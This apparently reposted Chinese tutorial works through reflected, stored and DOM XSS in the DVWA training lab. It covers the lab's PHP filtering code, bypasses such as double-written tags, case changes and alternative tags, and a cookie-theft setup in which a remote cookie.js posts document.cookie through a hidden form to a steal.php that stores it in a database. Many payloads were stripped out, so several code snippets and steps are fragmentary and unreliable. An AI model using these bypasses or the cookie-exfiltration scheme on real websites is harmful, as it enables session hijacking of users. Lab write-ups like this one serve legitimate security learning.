摘要:且通过语句插入到数据库中。所以存在存储型漏洞操作步骤由于和输入框均存在。如果有,则利用函数重新发起请求,将值改为操作步骤输入,发现值改为使用大小写,双写绕过发现也不行,初步判断应该是把标签过滤掉了。
作为兴趣,一直想把自己所知道基础入门的知识总结一下。在总结的过程中也是一个不断学习地过程,慢慢学吧
XSS-跨站脚本攻击,在某种意义上也是一种注入型攻击XSS(Reflected) Low 代码分析
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言
根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS(Stored)与反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一种基于DOM树的XSS,被分为第三种
Hello " . $_GET[ "name" ] . ""; } ?> #array_key_exists()函数检查数组里是否有指定的键名或索引。有返回true,没有返回false
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞
操作步骤输入
可以看到成功出现弹窗
F12进入开发者模式可以看到浏览器成功将我们的输入作为HTML元素解释运行
", "", $_GET[ "name" ] ); // Feedback for end user echo "Hello ${name}"; } ?>
Medium级别的代码相对于Low级别的代码使用str_replace函数将输入中的删除
操作步骤只删除标签的情况是很容易绕过的:
1.使用双写绕过,输入
2.使用大小写绕过,输入
3.输入其他标签,如
可以看到结果:
获取到了当前用户的cookie,这结合csrf(跨站请求伪造)攻击危害是很大的
Hello ${name}"; } ?>
可以看到High级别的代码使用了preg_replace函数执行一个正则表达式的搜索和替换
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正则表达式(.*)表示贪婪匹配,/i表示不区分大小写
所以在High级别的代码中,所有关于标签均被过滤删除了
虽然标签不管用了,但是可以使用其他标签绕过
输入同样得到Medium级别的结果
Hello ${name}"; } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、"、"、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。还加入了Anti-CSRF token,防止结合csrf攻击
分析总结虽然利用了htmlspecialchars()函数将用户的输入进行过滤,但是在特定情况下需要用户输入一些被过滤,会丢失原始数据。且htmlspecialchars本质也是黑名单过滤,没有绝对安全
XSS(Stored) Low 代码分析" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
函数介绍:
isset()函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
trim()函数作用为移除字符串两侧空白字符或其他预定义字符
stripslashes()函数用于删除字符串中的反斜杠
mysqli_real_escape_string()函数会对字符串中的特殊符号(x00,
,
,,",",x1a)进行转义
在代码中对message,name输入框内容没有进行XSS方面的过滤和检查。且通过query语句插入到数据库中。所以存在存储型XSS漏洞
由于name和message输入框均存在xss。但name输入框有字符限制,这里可以使用burpsuite抓包修改name输入框内容:
点击Forward得到结果
F12打开开发者模式可以看到输入内容被前端html代码解析运行:
由于提交的结果存储在数据库中,所以每次刷新页面,输入的恶意代码就会被执行一次
Medium 代码分析", "", $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( "$message", "$name" );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()函数把预定义的字符&、"、"、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
一顿操作对message输入内容进行检测过滤,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了
2.使用大小写绕过,输入
3.输入其他标签,如
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
和反射型XSS-High级别代码功能一致。对name输入内容利用正则匹配删除所有关于标签
操作步骤使用其他标签:
Impossible 代码分析prepare( "INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );" ); $data->bindParam( ":message", $message, PDO::PARAM_STR ); $data->bindParam( ":name", $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
在Impossible代码中同样对name内容使用htmlspecialchars()函数,还加入了Anti-CSRF token,防止结合csrf攻击
但是如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS自我总结
我们可以看到,在Reflected和Stored类型的XSS中每个级别的差异只是过滤黑名单的完善程度不一样。由此,在文末总结一个按照级别分类的XSS输入的payloads
扩展-利用XSS获取用户cookie构造csrf攻击其实,在上述例子的XSS危害只是弹窗,并不能实际获取到cookie,下面演示怎样远程获取用户cookie:
原理:由于script标签可以加载远程服务器的javascript代码并且执行,所以在远程服务器编写一个cookie.js
document.write(""); document.exploit.submit();
这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php:
"; } mysql_close(); } ?>
steal.php会将我们获取到的cookie存到数据库中,搞事之前先创建数据库和相应的表(字段):
create database dvwacookie;#创建数据库 use dvwacookie;#进入dvwacookie数据库 create table low(id int not null auto_increment primary key,cookie varchar(100) not null); #创建一个low表,字段id-int类型,主键,值自动增长、字段cookie
接下来在XSS漏洞位置插入:
就可以获取用户cookie。参考链接在此,与本作者无关
XSS(DOM)对于DOM型的XSS是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的
最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生
介绍下DOM:
HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准
简单来说DOM主要研究的是节点,所有节点可通过javascript访问(增,删,改,查)
可能触发DOM型XSS属性:本实验中主要用到的就是document.write属性
document.write属性 document.referer属性 innerHTML属性 windows.name属性 location属性Low 代码分析
可以,很直接
操作步骤1.正常输入English和French,F12打开开发者模式可以看见
现在来分析一下
F12审查元素:
可以看到和之前正常输入相比较,第一个option标签,就是被解释运行
Medium 代码分析Medium级别的代码先是检查判断default参数是否为空,不为空则赋值。然后使用stripos()函数判断default值中是否含有,发现default值改为"English"
2.使用大小写,双写绕过:、
发现和正常选择"English"一样
3.使用其他标签试试:link
PT src="127.0.0.1/cookie.js">
更新中。。。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/44041.html
摘要:且通过语句插入到数据库中。所以存在存储型漏洞操作步骤由于和输入框均存在。如果有,则利用函数重新发起请求,将值改为操作步骤输入,发现值改为使用大小写,双写绕过发现也不行,初步判断应该是把标签过滤掉了。 作为兴趣,一直想把自己所知道基础入门的知识总结一下。在总结的过程中也是一个不断学习地过程,慢慢学吧 showImg(https://segmentfault.com/img/bVbt4Cy...
摘要:跨域脚本攻击攻击是最常见的攻击,其重点是跨域和客户端执行。后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。开发安全措施首要是服务端要进行过滤,因为前端的校验可以被绕过。这种直接存在于页面,无须经过服务器返回就是基于本地的攻击。 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是跨域和客户端执行。有人将XSS攻击分为三种,分别是: Re...
阅读 3628·2021-11-22 15:24
阅读 1571·2021-09-26 09:46
阅读 1887·2021-09-14 18:01
阅读 2578·2019-08-30 15:45
阅读 3509·2019-08-30 14:23
阅读 1848·2019-08-30 12:43
阅读 2898·2019-08-30 10:56
阅读 785·2019-08-29 12:20